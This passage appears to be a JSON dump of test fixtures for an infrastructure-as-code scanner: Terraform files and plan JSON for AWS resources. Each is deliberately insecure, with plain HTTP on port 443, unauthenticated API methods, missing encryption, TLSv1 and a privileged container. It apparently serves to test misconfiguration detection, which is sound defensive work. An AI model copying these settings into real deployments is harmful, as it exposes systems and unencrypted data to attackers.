    "path": "src/test/resources/iac/testProjects/exposedIac/hcl/applicable/req_sw_terraform_aws_alb_https_only.tf",
    "content": "resource \"aws_lb_listener\" \"vulnerable_example\" {\n  load_balancer_arn = \"arn:aws:iam::123456789012:user/johndoe\"\n  port              = \"443\"\n  protocol          = \"HTTP\"\n  ssl_policy        = \"ELBSecurityPolicy-2016-08\"\n  certificate_arn   = \"arn:aws:iam::187416307283:server-certificate/test_cert_rab3wuqwgja25ct3n4jdj2tzu4\"\n\n  default_action {\n    type             = \"forward\"\n    target_group_arn = \"arn:aws:iam::123456789012:user/johndoe\"\n  }\n}"
  },
  {
    "path": "src/test/resources/iac/testProjects/exposedIac/hcl/applicable/req_sw_terraform_aws_api_gateway_auth.tf",
    "content": "resource \"aws_api_gateway_method\" \"vulnerable_method\" {\n  rest_api_id   = \"dummy\"\n  resource_id   = \"dummy\"\n  http_method   = \"GET\"\n  authorization = \"NONE\"\n}"
  },
  {
    "path": "src/test/resources/iac/testProjects/exposedIac/hcl/applicable/req_sw_terraform_aws_api_gateway_encrypt_cache.tf",
    "content": "resource \"aws_api_gateway_method_settings\" \"vulnerable_example\" {\n  rest_api_id = \"dummy\"\n  method_path = \"dummy\"\n  stage_name = \"dummy\"\n  settings {\n    caching_enabled = true\n  }\n}"
  },
  {
    "path": "src/test/resources/iac/testProjects/exposedIac/hcl/applicable/req_sw_terraform_aws_api_gateway_tls_version.tf",
    "content": "resource \"aws_api_gateway_domain_name\" \"vulnerable_example\" {\n  domain_name = \"dummy\"\n  # security_policy is not set\n}"
  },
  {
    "path": "src/test/resources/iac/testProjects/exposedIac/hcl/applicable/req_sw_terraform_aws_athena_encrypt.tf",
    "content": "resource \"aws_athena_database\" \"vulnerable_example\" {\n    name = \"dummy\"\n    # encryption_configuration is not set\n}"
  },
  {
    "path": "src/test/resources/iac/testProjects/exposedIac/hcl/applicable/req_sw_terraform_aws_athena_encrypt_workgroup.tf",
    "content": "resource \"aws_athena_workgroup\" \"vulnerable_example\" {\n    name = \"dummy\"\n    # encryption_configuration is not set\n}"
  },
  {
    "path": "src/test/resources/iac/testProjects/exposedIac/hcl/applicable/req_sw_terraform_aws_batch_no_privileged.tf",
    "content": "resource \"aws_batch_job_definition\" \"vulnerable_example\" {\n  name = \"tf_test_batch_job_definition\"\n  type = \"container\"\n  container_properties = <<CONTAINER_PROPERTIES\n{\n    \"command\": [\"ls\", \"-la\"],\n    \"image\": \"busybox\",\n    \"memory\": 1024,\n    \"privileged\": true,\n    \"vcpus\": 1,\n    \"volumes\": [\n      {\n        \"host\": {\n          \"sourcePath\": \"/tmp\"\n        },\n        \"name\": \"tmp\"\n      }\n    ],\n    \"environment\": [\n        {\"name\": \"VARNAME\", \"value\": \"VARVAL\"}\n    ],\n    \"mountPoints\": [\n        {\n          \"sourceVolume\": \"tmp\",\n          \"containerPath\": \"/tmp\",\n          \"readOnly\": false\n        }\n    ],\n    \"ulimits\": [\n      {\n        \"hardLimit\": 1024,\n        \"name\": \"nofile\",\n        \"softLimit\": 1024\n      }\n    ]\n}\nCONTAINER_PROPERTIES\n}"
  },
  {
    "path": "src/test/resources/iac/testProjects/exposedIac/hcl/applicable/req_sw_terraform_aws_cloudfront_tls_only.tf",
    "content": "resource \"aws_cloudfront_distribution\" \"vulnerable_example\" {\n  default_cache_behavior {\n    viewer_protocol_policy = \"allow-all\"\n\n    target_origin_id = \"dummy\"\n    allowed_methods  = [\"dummy\"]\n    cached_methods  = [\"dummy\"]\n  }\n\n  enabled             = true\n  origin {\n    origin_id = \"dummy\"\n    domain_name = \"dummy\"\n  }\n  restrictions {\n    geo_restriction {\n        restriction_type = \"none\"\n    }\n  }\n  viewer_certificate {\n  }\n}"
  },
  {
    "path": "src/test/resources/iac/testProjects/exposedIac/hcl/applicable/req_sw_terraform_aws_cloudfront_tls_version.tf",
    "content": "resource \"aws_cloudfront_distribution\" \"vulnerable_example\" {\n  default_cache_behavior {\n    allowed_methods  = [\"dummy\"]\n    cached_methods  = [\"dummy\"]\n    target_origin_id = \"dummy\"\n    viewer_protocol_policy = \"https-only\"\n  }\n\n  viewer_certificate {\n    minimum_protocol_version  = \"TLSv1\"\n  }\n\n  enabled             = true\n  origin {\n    origin_id = \"dummy\"\n    domain_name = \"dummy\"\n  }\n  restrictions {\n    geo_restriction {\n        restriction_type = \"none\"\n    }\n  }\n}"
  },
  {
    "path": "src/test/resources/iac/testProjects/exposedIac/hcl/applicable/req_sw_terraform_aws_cloudtrail_encrypt.tf",
    "content": "resource \"aws_cloudtrail\" \"vulnerable_example\" {\n  s3_bucket_name = \"dummy\"\n  name = \"dummy\"\n  # kms_key_id is not set\n}"
  },
  {
    "path": "src/test/resources/iac/testProjects/exposedIac/plan/applicable/req_sw_terraform_aws_alb_https_only.json",
    "content": "{\n  \"format_version\": \"1.1\",\n  \"terraform_version\": \"1.3.5\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_lb_listener.secure_lb_listener\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_lb_listener\",\n          \"name\": \"secure_lb_listener\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"alpn_policy\": null,\n            \"certificate_arn\": \"arn:aws:iam::187416307283:server-certificate/test_cert_rab3wuqwgja25ct3n4jdj2tzu4\",\n            \"default_action\": [\n              {\n                \"authenticate_cognito\": [],\n                \"authenticate_oidc\": [],\n                \"fixed_response\": [],\n                \"forward\": [],\n                \"redirect\": [],\n                \"target_group_arn\": \"arn:aws:iam::123456789012:user/johndoe\",\n                \"type\": \"forward\"\n              }\n            ],\n            \"load_balancer_arn\": \"arn:aws:iam::123456789012:user/johndoe\",\n            \"port\": 443,\n            \"protocol\": \"HTTP\",\n            \"ssl_policy\": \"ELBSecurityPolicy-2016-08\",\n            \"tags\": null,\n            \"timeouts\": null\n          },\n          \"sensitive_values\": {\n            \"default_action\": [\n              {\n                \"authenticate_cognito\": [],\n                \"authenticate_oidc\": [],\n                \"fixed_response\": [],\n                \"forward\": [],\n                \"redirect\": []\n              }\n            ],\n            \"tags_all\": {}\n          }\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"aws_lb_listener.secure_lb_listener\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_lb_listener\",\n      \"name\": \"secure_lb_listener\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"alpn_policy\": null,\n          \"certificate_arn\": \"arn:aws:iam::187416307283:server-certificate/test_cert_rab3wuqwgja25ct3n4jdj2tzu4\",\n          \"default_action\": [\n            {\n              \"authenticate_cognito\": [],\n              \"authenticate_oidc\": [],\n              \"fixed_response\": [],\n              \"forward\": [],\n              \"redirect\": [],\n              \"target_group_arn\": \"arn:aws:iam::123456789012:user/johndoe\",\n              \"type\": \"forward\"\n            }\n          ],\n          \"load_balancer_arn\": \"arn:aws:iam::123456789012:user/johndoe\",\n          \"port\": 443,\n          \"protocol\": \"HTTP\",\n          \"ssl_policy\": \"ELBSecurityPolicy-2016-08\",\n          \"tags\": null,\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"default_action\": [\n            {\n              \"authenticate_cognito\": [],\n              \"authenticate_oidc\": [],\n              \"fixed_response\": [],\n              \"forward\": [],\n              \"order\": true,\n              \"redirect\": []\n            }\n          ],\n          \"id\": true,\n          \"tags_all\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"default_action\": [\n            {\n              \"authenticate_cognito\": [],\n              \"authenticate_oidc\": [],\n              \"fixed_response\": [],\n              \"forward\": [],\n              \"redirect\": []\n            }\n          ],\n          \"tags_all\": {}\n        }\n      }\n    }\n  ],\n  \"configuration\": {\n    \"provider_config\": {\n      \"aws\": {\n        \"name\": \"aws\",\n        \"full_name\": \"registry.terraform.io/hashicorp/aws\"\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_lb_listener.secure_lb_listener\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_lb_listener\",\n          \"name\": \"secure_lb_listener\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"certificate_arn\": {\n              \"constant_value\": \"arn:aws:iam::187416307283:server-certificate/test_cert_rab3wuqwgja25ct3n4jdj2tzu4\"\n            },\n            \"default_action\": [\n              {\n                \"target_group_arn\": {\n                  \"constant_value\": \"arn:aws:iam::123456789012:user/johndoe\"\n                },\n                \"type\": {\n                  \"constant_value\": \"forward\"\n                }\n              }\n            ],\n            \"load_balancer_arn\": {\n              \"constant_value\": \"arn:aws:iam::123456789012:user/johndoe\"\n            },\n            \"port\": {\n              \"constant_value\": \"443\"\n            },\n            \"protocol\": {\n              \"constant_value\": \"HTTP\"\n            },\n            \"ssl_policy\": {\n              \"constant_value\": \"ELBSecurityPolicy-2016-08\"\n            }\n          },\n          \"schema_version\": 0\n        }\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/iac/testProjects/exposedIac/plan/applicable/req_sw_terraform_aws_api_gateway_auth.json",
    "content": "{\n  \"format_version\": \"1.1\",\n  \"terraform_version\": \"1.3.5\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_api_gateway_method.vulnerable_method\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_api_gateway_method\",\n          \"name\": \"vulnerable_method\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"api_key_required\": false,\n            \"authorization\": \"NONE\",\n            \"authorization_scopes\": null,\n            \"authorizer_id\": null,\n            \"http_method\": \"GET\",\n            \"operation_name\": null,\n            \"request_models\": null,\n            \"request_parameters\": null,\n            \"request_validator_id\": null,\n            \"resource_id\": \"MyResourceId\",\n            \"rest_api_id\": \"MyApiId\"\n          },\n          \"sensitive_values\": {}\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"aws_api_gateway_method.vulnerable_method\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_api_gateway_method\",\n      \"name\": \"vulnerable_method\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"api_key_required\": false,\n          \"authorization\": \"NONE\",\n          \"authorization_scopes\": null,\n          \"authorizer_id\": null,\n          \"http_method\": \"GET\",\n          \"operation_name\": null,\n          \"request_models\": null,\n          \"request_parameters\": null,\n          \"request_validator_id\": null,\n          \"resource_id\": \"MyResourceId\",\n          \"rest_api_id\": \"MyApiId\"\n        },\n        \"after_unknown\": {\n          \"id\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {}\n      }\n    }\n  ],\n  \"configuration\": {\n    \"provider_config\": {\n      \"aws\": {\n        \"name\": \"aws\",\n        \"full_name\": \"registry.terraform.io/hashicorp/aws\"\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_api_gateway_method.vulnerable_method\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_api_gateway_method\",\n          \"name\": \"vulnerable_method\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"authorization\": {\n              \"constant_value\": \"NONE\"\n            },\n            \"http_method\": {\n              \"constant_value\": \"GET\"\n            },\n            \"resource_id\": {\n              \"constant_value\": \"MyResourceId\"\n            },\n            \"rest_api_id\": {\n              \"constant_value\": \"MyApiId\"\n            }\n          },\n          \"schema_version\": 0\n        }\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/iac/testProjects/exposedIac/plan/applicable/req_sw_terraform_aws_api_gateway_encrypt_cache.json",
    "content": "{\n  \"format_version\": \"1.1\",\n  \"terraform_version\": \"1.3.5\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_api_gateway_method_settings.path_specific\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_api_gateway_method_settings\",\n          \"name\": \"path_specific\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"method_path\": \"MyMethodPath\",\n            \"rest_api_id\": \"MyApiId\",\n            \"settings\": [\n              {\n                \"caching_enabled\": true,\n                \"throttling_burst_limit\": -1,\n                \"throttling_rate_limit\": -1\n              }\n            ],\n            \"stage_name\": \"MyStageName\"\n          },\n          \"sensitive_values\": {\n            \"settings\": [\n              {}\n            ]\n          }\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"aws_api_gateway_method_settings.path_specific\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_api_gateway_method_settings\",\n      \"name\": \"path_specific\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"method_path\": \"MyMethodPath\",\n          \"rest_api_id\": \"MyApiId\",\n          \"settings\": [\n            {\n              \"caching_enabled\": true,\n              \"throttling_burst_limit\": -1,\n              \"throttling_rate_limit\": -1\n            }\n          ],\n          \"stage_name\": \"MyStageName\"\n        },\n        \"after_unknown\": {\n          \"id\": true,\n          \"settings\": [\n            {\n              \"cache_data_encrypted\": true,\n              \"cache_ttl_in_seconds\": true,\n              \"data_trace_enabled\": true,\n              \"logging_level\": true,\n              \"metrics_enabled\": true,\n              \"require_authorization_for_cache_control\": true,\n              \"unauthorized_cache_control_header_strategy\": true\n            }\n          ]\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"settings\": [\n            {}\n          ]\n        }\n      }\n    }\n  ],\n  \"configuration\": {\n    \"provider_config\": {\n      \"aws\": {\n        \"name\": \"aws\",\n        \"full_name\": \"registry.terraform.io/hashicorp/aws\"\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_api_gateway_method_settings.path_specific\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_api_gateway_method_settings\",\n          \"name\": \"path_specific\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"method_path\": {\n              \"constant_value\": \"MyMethodPath\"\n            },\n            \"rest_api_id\": {\n              \"constant_value\": \"MyApiId\"\n            },\n            \"settings\": [\n              {\n                \"caching_enabled\": {\n                  \"constant_value\": true\n                }\n              }\n            ],\n            \"stage_name\": {\n              \"constant_value\": \"MyStageName\"\n            }\n          },\n          \"schema_version\": 0\n        }\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/iac/testProjects/exposedIac/plan/applicable/req_sw_terraform_aws_api_gateway_tls_version.json",
    "content": "{\n  \"format_version\": \"1.1\",\n  \"terraform_version\": \"1.3.5\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_api_gateway_domain_name.vulnerable_example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_api_gateway_domain_name\",\n          \"name\": \"vulnerable_example\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"certificate_arn\": null,\n            \"certificate_body\": null,\n            \"certificate_chain\": null,\n            \"certificate_name\": null,\n            \"certificate_private_key\": null,\n            \"domain_name\": \"dummy\",\n            \"mutual_tls_authentication\": [],\n            \"regional_certificate_arn\": null,\n            \"regional_certificate_name\": null,\n            \"tags\": null\n          },\n          \"sensitive_values\": {\n            \"endpoint_configuration\": [],\n            \"mutual_tls_authentication\": [],\n            \"tags_all\": {}\n          }\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"aws_api_gateway_domain_name.vulnerable_example\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_api_gateway_domain_name\",\n      \"name\": \"vulnerable_example\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"certificate_arn\": null,\n          \"certificate_body\": null,\n          \"certificate_chain\": null,\n          \"certificate_name\": null,\n          \"certificate_private_key\": null,\n          \"domain_name\": \"dummy\",\n          \"mutual_tls_authentication\": [],\n          \"regional_certificate_arn\": null,\n          \"regional_certificate_name\": null,\n          \"tags\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"certificate_upload_date\": true,\n          \"cloudfront_domain_name\": true,\n          \"cloudfront_zone_id\": true,\n          \"endpoint_configuration\": true,\n          \"id\": true,\n          \"mutual_tls_authentication\": [],\n          \"ownership_verification_certificate_arn\": true,\n          \"regional_domain_name\": true,\n          \"regional_zone_id\": true,\n          \"security_policy\": true,\n          \"tags_all\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"certificate_private_key\": true,\n          \"endpoint_configuration\": [],\n          \"mutual_tls_authentication\": [],\n          \"tags_all\": {}\n        }\n      }\n    }\n  ],\n  \"configuration\": {\n    \"provider_config\": {\n      \"aws\": {\n        \"name\": \"aws\",\n        \"full_name\": \"registry.terraform.io/hashicorp/aws\"\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_api_gateway_domain_name.vulnerable_example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_api_gateway_domain_name\",\n          \"name\": \"vulnerable_example\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"domain_name\": {\n              \"constant_value\": \"dummy\"\n            }\n          },\n          \"schema_version\": 0\n        }\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/iac/testProjects/exposedIac/plan/applicable/req_sw_terraform_aws_athena_encrypt.json",
    "content": "{\n  \"format_version\": \"1.1\",\n  \"terraform_version\": \"1.3.5\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_athena_database.vulnerable_example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_athena_database\",\n          \"name\": \"vulnerable_example\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"acl_configuration\": [],\n            \"bucket\": null,\n            \"comment\": null,\n            \"encryption_configuration\": [],\n            \"expected_bucket_owner\": null,\n            \"force_destroy\": false,\n            \"name\": \"dummy\",\n            \"properties\": null\n          },\n          \"sensitive_values\": {\n            \"acl_configuration\": [],\n            \"encryption_configuration\": []\n          }\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"aws_athena_database.vulnerable_example\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_athena_database\",\n      \"name\": \"vulnerable_example\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"acl_configuration\": [],\n          \"bucket\": null,\n          \"comment\": null,\n          \"encryption_configuration\": [],\n          \"expected_bucket_owner\": null,\n          \"force_destroy\": false,\n          \"name\": \"dummy\",\n          \"properties\": null\n        },\n        \"after_unknown\": {\n          \"acl_configuration\": [],\n          \"encryption_configuration\": [],\n          \"id\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"acl_configuration\": [],\n          \"encryption_configuration\": []\n        }\n      }\n    }\n  ],\n  \"configuration\": {\n    \"provider_config\": {\n      \"aws\": {\n        \"name\": \"aws\",\n        \"full_name\": \"registry.terraform.io/hashicorp/aws\"\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_athena_database.vulnerable_example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_athena_database\",\n          \"name\": \"vulnerable_example\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"name\": {\n              \"constant_value\": \"dummy\"\n            }\n          },\n          \"schema_version\": 0\n        }\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/iac/testProjects/exposedIac/plan/applicable/req_sw_terraform_aws_athena_encrypt_workgroup.json",
    "content": "{\n  \"format_version\": \"1.1\",\n  \"terraform_version\": \"1.3.5\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_athena_workgroup.vulnerable_example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_athena_workgroup\",\n          \"name\": \"vulnerable_example\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"configuration\": [],\n            \"description\": null,\n            \"force_destroy\": false,\n            \"name\": \"dummy\",\n            \"state\": \"ENABLED\",\n            \"tags\": null\n          },\n          \"sensitive_values\": {\n            \"configuration\": [],\n            \"tags_all\": {}\n          }\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"aws_athena_workgroup.vulnerable_example\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_athena_workgroup\",\n      \"name\": \"vulnerable_example\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"configuration\": [],\n          \"description\": null,\n          \"force_destroy\": false,\n          \"name\": \"dummy\",\n          \"state\": \"ENABLED\",\n          \"tags\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"configuration\": [],\n          \"id\": true,\n          \"tags_all\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"configuration\": [],\n          \"tags_all\": {}\n        }\n      }\n    }\n  ],\n  \"configuration\": {\n    \"provider_config\": {\n      \"aws\": {\n        \"name\": \"aws\",\n        \"full_name\": \"registry.terraform.io/hashicorp/aws\"\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_athena_workgroup.vulnerable_example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_athena_workgroup\",\n          \"name\": \"vulnerable_example\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"name\": {\n              \"constant_value\": \"dummy\"\n            }\n          },\n          \"schema_version\": 0\n        }\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/iac/testProjects/exposedIac/plan/applicable/req_sw_terraform_aws_batch_no_privileged.json",
    "content": "{\n  \"format_version\": \"1.1\",\n  \"terraform_version\": \"1.3.5\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_batch_job_definition.secure_batch_job\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_batch_job_definition\",\n          \"name\": \"secure_batch_job\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"container_properties\": \"{\\\"command\\\":[\\\"ls\\\",\\\"-la\\\"],\\\"environment\\\":[{\\\"name\\\":\\\"VARNAME\\\",\\\"value\\\":\\\"VARVAL\\\"}],\\\"image\\\":\\\"busybox\\\",\\\"memory\\\":1024,\\\"mountPoints\\\":[{\\\"containerPath\\\":\\\"/tmp\\\",\\\"readOnly\\\":false,\\\"sourceVolume\\\":\\\"tmp\\\"}],\\\"privileged\\\":true,\\\"ulimits\\\":[{\\\"hardLimit\\\":1024,\\\"name\\\":\\\"nofile\\\",\\\"softLimit\\\":1024}],\\\"vcpus\\\":1,\\\"volumes\\\":[{\\\"host\\\":{\\\"sourcePath\\\":\\\"/tmp\\\"},\\\"name\\\":\\\"tmp\\\"}]}\",\n            \"name\": \"tf_test_batch_job_definition\",\n            \"parameters\": null,\n            \"platform_capabilities\": null,\n            \"propagate_tags\": false,\n            \"retry_strategy\": [],\n            \"tags\": null,\n            \"timeout\": [],\n            \"type\": \"container\"\n          },\n          \"sensitive_values\": {\n            \"retry_strategy\": [],\n            \"tags_all\": {},\n            \"timeout\": []\n          }\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"aws_batch_job_definition.secure_batch_job\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_batch_job_definition\",\n      \"name\": \"secure_batch_job\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"container_properties\": \"{\\\"command\\\":[\\\"ls\\\",\\\"-la\\\"],\\\"environment\\\":[{\\\"name\\\":\\\"VARNAME\\\",\\\"value\\\":\\\"VARVAL\\\"}],\\\"image\\\":\\\"busybox\\\",\\\"memory\\\":1024,\\\"mountPoints\\\":[{\\\"containerPath\\\":\\\"/tmp\\\",\\\"readOnly\\\":false,\\\"sourceVolume\\\":\\\"tmp\\\"}],\\\"privileged\\\":true,\\\"ulimits\\\":[{\\\"hardLimit\\\":1024,\\\"name\\\":\\\"nofile\\\",\\\"softLimit\\\":1024}],\\\"vcpus\\\":1,\\\"volumes\\\":[{\\\"host\\\":{\\\"sourcePath\\\":\\\"/tmp\\\"},\\\"name\\\":\\\"tmp\\\"}]}\",\n          \"name\": \"tf_test_batch_job_definition\",\n          \"parameters\": null,\n          \"platform_capabilities\": null,\n          \"propagate_tags\": false,\n          \"retry_strategy\": [],\n          \"tags\": null,\n          \"timeout\": [],\n          \"type\": \"container\"\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"retry_strategy\": [],\n          \"revision\": true,\n          \"tags_all\": true,\n          \"timeout\": []\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"retry_strategy\": [],\n          \"tags_all\": {},\n          \"timeout\": []\n        }\n      }\n    }\n  ],\n  \"configuration\": {\n    \"provider_config\": {\n      \"aws\": {\n        \"name\": \"aws\",\n        \"full_name\": \"registry.terraform.io/hashicorp/aws\"\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_batch_job_definition.secure_batch_job\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_batch_job_definition\",\n          \"name\": \"secure_batch_job\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"container_properties\": {\n              \"constant_value\": \"{\\n    \\\"command\\\": [\\\"ls\\\", \\\"-la\\\"],\\n    \\\"image\\\": \\\"busybox\\\",\\n    \\\"memory\\\": 1024,\\n    \\\"privileged\\\": true,\\n    \\\"vcpus\\\": 1,\\n    \\\"volumes\\\": [\\n      {\\n        \\\"host\\\": {\\n          \\\"sourcePath\\\": \\\"/tmp\\\"\\n        },\\n        \\\"name\\\": \\\"tmp\\\"\\n      }\\n    ],\\n    \\\"environment\\\": [\\n        {\\\"name\\\": \\\"VARNAME\\\", \\\"value\\\": \\\"VARVAL\\\"}\\n    ],\\n    \\\"mountPoints\\\": [\\n        {\\n          \\\"sourceVolume\\\": \\\"tmp\\\",\\n          \\\"containerPath\\\": \\\"/tmp\\\",\\n          \\\"readOnly\\\": false\\n        }\\n    ],\\n    \\\"ulimits\\\": [\\n      {\\n        \\\"hardLimit\\\": 1024,\\n        \\\"name\\\": \\\"nofile\\\",\\n        \\\"softLimit\\\": 1024\\n      }\\n    ]\\n}\\n\"\n            },\n            \"name\": {\n              \"constant_value\": \"tf_test_batch_job_definition\"\n            },\n            \"type\": {\n              \"constant_value\": \"container\"\n            }\n          },\n          \"schema_version\": 0\n        }\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/iac/testProjects/exposedIac/plan/applicable/req_sw_terraform_aws_cloudfront_tls_only.json",
    "content": "{\n  \"format_version\": \"1.1\",\n  \"terraform_version\": \"1.3.5\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_cloudfront_distribution.vulnerable_example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_cloudfront_distribution\",\n          \"name\": \"vulnerable_example\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"aliases\": null,\n            \"comment\": null,\n            \"custom_error_response\": [],\n            \"default_cache_behavior\": [\n              {\n                \"allowed_methods\": [\n                  \"dummy\"\n                ],\n                \"cache_policy_id\": null,\n                \"cached_methods\": [\n                  \"dummy\"\n                ],\n                \"compress\": false,\n                \"field_level_encryption_id\": null,\n                \"forwarded_values\": [],\n                \"function_association\": [],\n                \"lambda_function_association\": [],\n                \"min_ttl\": 0,\n                \"origin_request_policy_id\": null,\n                \"realtime_log_config_arn\": null,\n                \"response_headers_policy_id\": null,\n                \"smooth_streaming\": null,\n                \"target_origin_id\": \"dummy\",\n                \"viewer_protocol_policy\": \"allow-all\"\n              }\n            ],\n            \"default_root_object\": null,\n            \"enabled\": true,\n            \"http_version\": \"http2\",\n            \"is_ipv6_enabled\": false,\n            \"logging_config\": [],\n            \"ordered_cache_behavior\": [],\n            \"origin\": [\n              {\n                \"connection_attempts\": 3,\n                \"connection_timeout\": 10,\n                \"custom_header\": [],\n                \"custom_origin_config\": [],\n                \"domain_name\": \"dummy\",\n                \"origin_access_control_id\": \"\",\n                \"origin_id\": \"dummy\",\n                \"origin_path\": \"\",\n                \"origin_shield\": [],\n                \"s3_origin_config\": []\n              }\n            ],\n            \"origin_group\": [],\n            \"price_class\": \"PriceClass_All\",\n            \"restrictions\": [\n              {\n                \"geo_restriction\": [\n                  {\n                    \"restriction_type\": \"none\"\n                  }\n                ]\n              }\n            ],\n            \"retain_on_delete\": false,\n            \"tags\": null,\n            \"viewer_certificate\": [\n              {\n                \"acm_certificate_arn\": null,\n                \"cloudfront_default_certificate\": null,\n                \"iam_certificate_id\": null,\n                \"minimum_protocol_version\": 